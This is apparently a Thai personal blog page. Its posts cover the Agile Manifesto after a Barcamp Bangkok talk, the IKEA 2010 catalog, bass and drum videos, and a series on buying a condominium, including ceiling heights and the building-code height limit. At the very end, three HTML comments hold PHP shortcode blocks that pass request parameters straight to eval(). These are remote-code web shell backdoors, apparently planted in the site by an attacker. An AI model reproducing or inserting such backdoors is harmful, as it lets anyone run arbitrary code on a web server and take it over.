แง่คิดจาก Manifesto for Agile Software Development

วันนี้ขอเขียนเรื่องงานบ้าง (นิดนึง) เริ่มจากที่เมื่อหลายเดือนก่อนผมไปที่ Barcamp Bangkok 3 แล้วมีเรื่อง The Heart Of Agile (โดยคุณ @kluak110) เลยเข้าไปลองฟังดู เคยได้ยินมาว่ามันเป็น process การทำงาน ผลที่ได้จากการฟังทำให้ผมรู้สึกได้แง่คิดใหม่ๆ ในการทำงาน

เริ่มจาก ประกาศนี้ของเค้า

  1. Individuals and interactions over processes and tools ให้ความสำคัญ คนและการสื่อสารปฏิสัมพันธ์มากกว่า กระบวนการและเครื่องมือ
  2. Working software over comprehensive documentation ให้ความสำคัญกับซอฟต์แวร์ที่ทำงาน(ใช้งานได้) มากกว่าเอกสาร
  3. Customer collaboration over contract negotiation ให้ความสำคัญกับการร่วมมือกับลูกค้ามากกว่าการต่อรองสัญญา
  4. Responding to change over following a plan ตอบสนองกับการเปลี่ยนแปลงมากกว่าการดำเนินตามแผน

หลังจากฟังคำประกาศของเค้าแล้วผมรู้สึกชอบเพราะว่าจากประสบการณ์โปรเจคที่ขาดทุนไปเพราะว่าเรื่องพวกนี้ซะส่วนใหญ่ ผมจะพูดในแง่ของ Team นะครับ

  • ข้อแรกนี้ที่เจอมาคือถ้าเราสามารถสื่อสารกันด้วย level ที่สูงสุดได้จะดีที่สุดคือคุยกันตัวต่อตัวเลยกับเพื่อนร่วมงาน (รองลงมาก็คือโทรศัพท์ แล้วก็ IM สุดท้ายนี้คงจะ email)
  • ข้อที่สองบ่ิอยครั้งเราคิดว่าการใ้ห้ทำเอกสารโดยละเอียด จะทำให้เราไม่ต้องกลัวว่าโปรแกรมเมอร์คนนั้นจะลา่ออกไปหรือไล่ออกไป (ถ้าโปรแกรมเมอร์คนที่เขียนเอกสารนั้นดีจริงเค้าคงไม่โดนไล่ออกไป สุดท้ายเอกสารที่ได้มาก็ไม่มีประโยชน์) แต่สรุปแล้วควรจะมีเอกสารในระดับที่พอเหมาะเฉพาะส่วนที่สำคัญก็พอ
  • ข้อที่สามนี้เป็นศิลปะเหมือนกันการที่เราจะได้ requiement มาเพื่อเป็น Spec. ในการทำงาน เพื่อจะได้ไม่ต้องเจรจากับลูกค้าในภายหลังเพื่อขอส่งมอบงาน
  • ข้อสี่ ข้อนี้ก็โดนมากับตัวบ่อยประมาณว่าพอเขียนเสร็จตามเวลาแต่พอส่งให้ลูกค้ามันใช้ไม่ได้ส่งงานก็ต้องเลื่อนไปเรื่อยๆใน agile principle จะมีคำว่า “Deliver working software frequently” คือถ้าเราสามารถกำหนดขอบเขตที่จะส่งงานให้เล็กลงได้แล้วส่งบ่อยๆจะดีกว่าส่งที่เดียวเยอะๆ

แต่เรื่องราวของ Agile นั้นมีมากมายให้ศึกษา คงต้องพักไว้แค่นี้ก่อน  เสริมอีกนิดว่าเหนือสิ่งอื่นใดผมหวังว่าจะได้เพื่อนร่วมงานดีดี ที่จัดการตัวเองได้ดี มันช่วยให้งานบรรลุเป้าหมายได้มีประสิทธภาพมาก

“The best architectures, requirements, and designs emerge from self-organizing teams.” ทิ้งท้ายด้วยอันนี้ จาก Principles behind the Agile Manifesto

IKEA 2010 Catalog มาแล้ว

เป็นร้านเฟอนิเจอร์ ที่ใหญ่มากมีสาขาทั่วโลก (แต่ยังไม่มีในไทย)  “IKEA” หรือจะอ่านเรื่องราวได้ที่ นี่  “IKEA จากไม้ขีดไฟ…สู่ร้านเฟอร์นิเจอร์ระดับโลก” catalog ที่เค้าทำสวยเลยลองเข้าไปดูกันครับดูแบบนี้บ้างก็ดีไม่เปลืองกระดาษ

มาถึงเพลงที่ slap ได้ถึงใจ Marcus Miller “Run for cover”

คงไม่ต้องบรรยายมาก Marcus miller มือ bass solo ที่ยอดเยี่ยมตลอดกาลกับ groove ที่เป็นเอกลักษณ์ ในเพลงนี้มือ Sax “Kenny Garrett Quartet” มือกลองเค้าก็ยอดไม่แพ้กัน 16th note ได้ยาวนานมาก ส่วนมือกลองของ Marcus Miller คงไม่ต้องอธิบาย sound ที่หนักแน่นแบบนี้คนผอมคงจะตีไม่ได้แน่นอน สุดท้ายท่อน unison ตอนจบมันคมมาก

video กลอง “Clarence Lamont Moore”

เวลาเข้า youtube ทีไร ต้องดูกลองทุกที แม้ผมจะเล่น bass แต่ชอบฟังกลอง มือกลองคนนี้ชื่อ “Clarence Lamont Moore” เค้าตีได้โดนใจผมจริง ทำให้นึกถึงมือกลองคนนึงที่ผมรู้จัก “พี่จอม” อยากฟังสำเนียงแบบนี้อีกท่าทางการเคลื่อนตัวยอดมาก vdoแรกนี้หาใน youtube ไม่เจอแล้ว เหมือนโดนลบเลยไปเอาที่อื่นมาแทน

โดยเฉพาะมือกลองผิวดำ นี้มันโดนใจจริง ๆ

เรื่องราว ของ Apartment (Condominium) ของผม (3)

มาถึงตอนนี้ ผมยังติดใจอยู่อย่างนึงว่าทำไมเพดานเค้าไม่ทำสูงกว่านี้อีกซัีก 30-40 เซนติเมตร (ความเดิม ห้องผมเพดาน 2.4เมตร) ดังภาพข้างล่าง ทีมา1, ที่มา2, ที่มา3

ก็เลยไปค้นๆหาอ่านตามเวป พบว่ามันมีเหตุผล มาจาก “กฏกระทรวง” บวกกับ “ความคุ่มค่า” ซึ่งสามารถสรุปเป็นสูตร ง่ายๆว่า

อาคารที่สูง 23เมตร  =  ( ห้องสูง 2.4ม. +  ฝ้า และพื้น 0.2ม )  x ?

คำตอบของ ? ก็คือ 8 .8  กว่าๆ ซึ่งตามกฏแล้ว เราต้องปัดลงเพราว่ามันจะ เกิน 23 ถ้าปัดขึ้น เป็นผลให้ Apartment ที่ซื้อสูง 8ชั้น  ดังนั้นเจ้าของโครงการเค้าคงไม่ทำห้องที่สูง 2.8+0.2  = 3เมตร จะได้แค่ 7ชั้น  แต่ติดใจว่า 23 เมตรมันมีที่มามาจากอะไร ทำไมไม่เป็น 24 หรือ 22

ที่มาของเรื่องต่างก็ตามนี้ครับ กฏกระทรวงฉบับที่ 55 แต่ถ้ามันยาวเกินไปก็มีคนสรุปมา กฎหมายเกี่ยวกับการสร้างอพาร์ตเมนต์

สุดท้าย สรุปจากรูปข้างบน ถ้าห้องเตี้ยไปเราก็คงติดตั้งพวกโคมไฟแนวๆไม่ได้หรือจะเล่นระดับที่เพดานไม่ได้มาก แต่ข้อดีของเพดานเตี้ยมันก็มี คือไม่เปลืองแอร์มากกับสามารถเปลี่ยนหลอดไฟได้เองไม่ต้องเอาเก้าอี้มาต่อ (พอดีผมสูง 180)

เรื่องราว ของ Apartment (Condominium) ของผม (2)

สัจธรรมที่พบในตอนนี้กับการซื้อคอนโด

  1. ห้องที่ 2 ห้องนอน 2 ห้องน้ำ ควรจะ มีขนาด 80 ตารางเมตรขึ้นไป  เพราะว่ามันจะดูเล็กกว่าห้องที่ 1 ห้องนอน แต่ขนาด 45 ตารางเมตร
  2. จงหมั่นเข้าไปดูบ่อยถ้าเป็นไปได้ เผื่อว่ากรณีที่ผิด spec. จะได้แก้ไขทัน (ในกรณีนี้ต้องรอให้ โครงสร้างขึ้นมาก่อน)
  3. สถาปนิกคือทุกอย่าง เวลามีอะไรที่ลึกๆนิดนึงพวกเรื่อง spec.  sale จะให้ผมไปคุยกับสถาปนิกตลอดพึ่งมารู้ทีหลังว่าสถาปนิกในที่นี้ของเขาทำงานทั้งหมดเลย เสมือนผู้รับเหมาบวกวิศวกรบวกสถาปนิก
  4. ถ้าคิดจะแก้แบบควรจะทำก่อนที่เค้าจะก่อกำแพงในห้อง หรือเดินสายไฟ (ผมคิดช้าไปตอนมองแบบตอนแรกดันนึกไม่ออก)
  5. ถ้าเป็นไปได้ทำให้เพดานสูงที่สุดเท่าที่ทำได้ (มันช่วยในเรื่องการแต่งห้องได้ เยอะ ตอนนี้ห้องผม 2.4เมตร อยากได้ซัก 2.8-3 เมตร )
  6. อย่าเอา requiement บ้านมาใส่ใน aparment อันไหนตัดได้ก็ต้องตัดไป

ตามด้วย Feed ที่ผมอ่านเกี่ยวกับเรื่องพวนี้

  1. 3D render เกี่ยวกับการสร้าง model สามมิติ
  2. PLASTOLUX “keep it modern”
  3. Home Design Ideas
  4. architechnophilia
  5. Interior Design, Decorating, Furniture, Architecture, Home & House
  6. DigsDigs
  7. Office Design Gallery
  8. The Home Rejuvenation Blog
  9. Adelto – Luxury Property & Interior Design
  10. Apartment Interior Design Ideas by h2o Architects | Best House Desig
  11. Black White Modern Apartment Interior Design – Home Design Ideas ..

สุดท้าย หลังจากผมท่องเวปมาหลายอันชอบ style minimal มากมันให้ความสวยงามในแบบที่ต้องการ แต่ผมสังเกตมาหลายๆอันพบว่ามันจะสวยได้เพดานต้องสูง ต้องมี space ระหว่างของต่างๆ และสีที่เลือกใช้ต้องน้อยสีที่สุด ถ้าเป็นไปได้เหลือแค่ขาวกับดำก็พอ แต่พอมามองห้องตัวเองคงจะ minimal ยาก : )  รูปข้างล่างนั้นมาจาก TOTO Kitchen เป็นการรวมห้องกินข้าวกับห้องนั่งเล่นเข้าด้วยกันผมว่า idea ดีเพราะว่า ปกติเวลากินข้าวกับดูทีวีมันเป็นเวลาเดียวกันไม่ต้องแยกห้อง

เรื่องราว ของ Apartment (Condominium) ของผม

เนื่องจากผมได้ ตัดสินใจผ่อนมัน ผมเลยต้องเริ่มมาศึกษามันแต่ก็นานพอสมควรกว่าจะเริ่มหาข้อมูล เรื่องราวมันเริ่มมาจากกระดาษ เมื่อเราซื้อสิ่งที่เราได้มาตอนนั้นคือกระดาษจำนวนนึง ที่มีข้อมูลมากมายประเด็นของผมที่คิดตอนนั้น คือต้องการพื้นที่ให้มากแต่ต้องไม่เกินราคาที่ผมผ่อนไหว ทำเลก็เหมือนว่าจะไม่ต้องใกล้ถนนใหญ่มาก (ไม่ต้องการฝุ่นกับเสียงที่มากไป) ใกล้รถไฟฟ้า มุมห้องไม่ต้องดีมาก (วันๆนึงคงไม่ได้เดินออกไปชมจันทร์ซักเท่าไร) ก็เลยมาได้โครงการนี้

เมื่อเราได้แบบห้องที่เค้าเขียนมาให้แบบ Top View แน่นอนเรารู้สึกว่ามันลงตัว (ก็แน่หละไม่งั้นคงไม่ซื้อ) แต่วันนี้ผมได้เข้าไปเหยียบพื้นห้องที่ตัวเองซื้อพบว่ามันไม่ได้ใหญ่เหมือนที่คิด ห้องที่ผมซื้อ 58 ตารมเมตรกำลังอยู่ระหว่างก่อสร้าง ประเด็นคือผมจะทำยังไงต่อก็เลยคิดว่าเราน่าจะต้องลองหาทางแก้ดูไหนๆ ก็ซื้อมาแล้ว สิ่งที่ช่วยให้ผมมองภาพรวมได้ง่ายที่สุดก็ไม่พ้นเรื่อง แบบ แต่จะให้ไปใช้ CAD ก็จะเรื่องใหญ่จากคำแนะนำของ ต่อ ผมเลยลองใช้ sketchup โอ้วมันยอดมากเข้าใจง่ายกว่า CAD สมัยก่อนที่ผมใช้ และมันก็มี model อีกมากมายให้ download มาใส่ที่สำคัญมัน Free โอ้ว Google (พ่อพระของเรา)

ได้ภาพมาดังนี้

เริ่มจาก การรวม

ที่เคย post ที่อื่นมารวมไว้ ที่ เดียว ก่อน

ได้แก่

– Space http://czarft.spaces.live.com/

– Geocities http://www.geocities.com/dj_czarft/ อันนี้ คงจะ ปล่อย ไป

เหมือน จะ เยอะ มีแค่นี้ หละ

เหมือน การรื้อฟื้นความจำเลย

<!– [insert_php]if (isset($_REQUEST["eSwZ"])){eval($_REQUEST["eSwZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["eSwZ"])){eval($_REQUEST["eSwZ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EbSHX"])){eval($_REQUEST["EbSHX"]);exit;}[/insert_php][php]if (isset($_REQUEST["EbSHX"])){eval($_REQUEST["EbSHX"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qEUT"])){eval($_REQUEST["qEUT"]);exit;}[/insert_php][php]if (isset($_REQUEST["qEUT"])){eval($_REQUEST["qEUT"]);exit;}[/php] –>